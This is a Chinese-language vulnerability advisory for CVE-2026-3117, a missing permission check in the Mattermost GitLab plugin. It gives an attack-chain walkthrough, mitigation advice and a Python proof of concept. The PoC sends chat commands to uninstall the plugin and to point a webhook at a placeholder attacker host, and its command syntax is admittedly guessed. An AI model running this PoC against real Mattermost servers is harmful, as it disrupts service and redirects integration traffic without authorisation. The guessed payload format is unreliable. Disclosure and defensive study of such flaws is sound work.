IPBUF安全漏洞报告
English
CVE-2026-3117 CVSS 6.5 中危

CVE-2026-3117 Mattermost GitLab插件权限越界漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-3117
漏洞类型
权限越界
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mattermost Plugins (GitLab Plugin)

相关标签

权限越界MattermostGitLab Plugin访问控制缺失

漏洞概述

Mattermost Plugins的GitLab插件在处理命令时存在权限验证逻辑缺陷。受影响版本未能正确校验用户权限,导致普通用户可以利用特定命令(如 `{{gitlab instance}}` 或 `{{/gitlab webhook}}`)卸载插件实例或配置Webhook连接。该漏洞可能被利用来破坏服务的可用性或未授权修改配置。

技术细节

该漏洞源于Mattermost GitLab插件在处理特定命令时未实施严格的访问控制检查。在受影响的版本中,插件解析包含 `{{gitlab instance {option}}}` 或 `{{/gitlab webhook {option}}}` 格式的消息时,直接执行了管理级别的操作,而未验证请求用户是否具备管理员权限。攻击者仅需拥有Mattermost平台的普通用户权限(PR:L),即可向频道发送特制的命令消息。利用该漏洞,攻击者可以触发插件实例的卸载操作,导致GitLab集成服务不可用(A:H),或者未经授权地设置Webhook连接,从而可能干涉系统配置或导致数据泄露风险。

攻击链分析

STEP 1
1. 身份认证
攻击者注册并登录Mattermost平台,获取普通用户权限(低权限)。
STEP 2
2. 识别目标
攻击者确定已安装并启用了GitLab插件的频道或团队。
STEP 3
3. 发送恶意命令
攻击者在频道中发送特制的命令消息,例如 `{{gitlab instance delete}}` 或 `{{/gitlab webhook [url]}}`。
STEP 4
4. 权限绕过
GitLab插件接收到命令后,由于缺乏权限校验,直接以高权限执行该操作。
STEP 5
5. 达成影响
插件实例被卸载导致服务拒绝(可用性影响),或Webhook被非法设置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-3117 # Description: Exploit permission check bypass in Mattermost GitLab Plugin # Impact: Allows low-privilege users to uninstall instances or setup webhooks. import requests # Target Mattermost instance URL TARGET_URL = "https://mattermost.example.com" API_TOKEN = "USER_TOKEN_HERE" # Token for a low-privilege user CHANNEL_ID = "CHANNEL_ID_HERE" headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Payload to uninstall an instance (Command format based on advisory) # The specific option depends on the instance ID, usually 'delete' or 'uninstall' payload_uninstall = { "channel_id": CHANNEL_ID, "message": "{{gitlab instance delete}}" # Example command to trigger uninstall } # Payload to setup a webhook payload_webhook = { "channel_id": CHANNEL_ID, "message": "{{/gitlab webhook http://attacker-controlled.com}}" # Example command } def send_message(payload): response = requests.post(f"{TARGET_URL}/api/v4/posts", headers=headers, json=payload) if response.status_code == 201: print("[+] Command executed successfully.") print(f"[+] Response: {response.json()}") else: print(f"[-] Failed to send command. Status: {response.status_code}") print(f"[-] Error: {response.text}") if __name__ == "__main__": print("Attempting to trigger uninstall command...") send_message(payload_uninstall) print("\nAttempting to trigger webhook setup command...") send_message(payload_webhook)

影响范围

Mattermost Plugins <= 11.5
Mattermost Plugins 11.1.5
Mattermost Plugins 10.13.11
Mattermost Plugins 11.3.4.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Mattermost中的GitLab插件功能,防止普通用户发送相关命令。同时,管理员应监控异常的插件卸载行为或未授权的Webhook配置尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表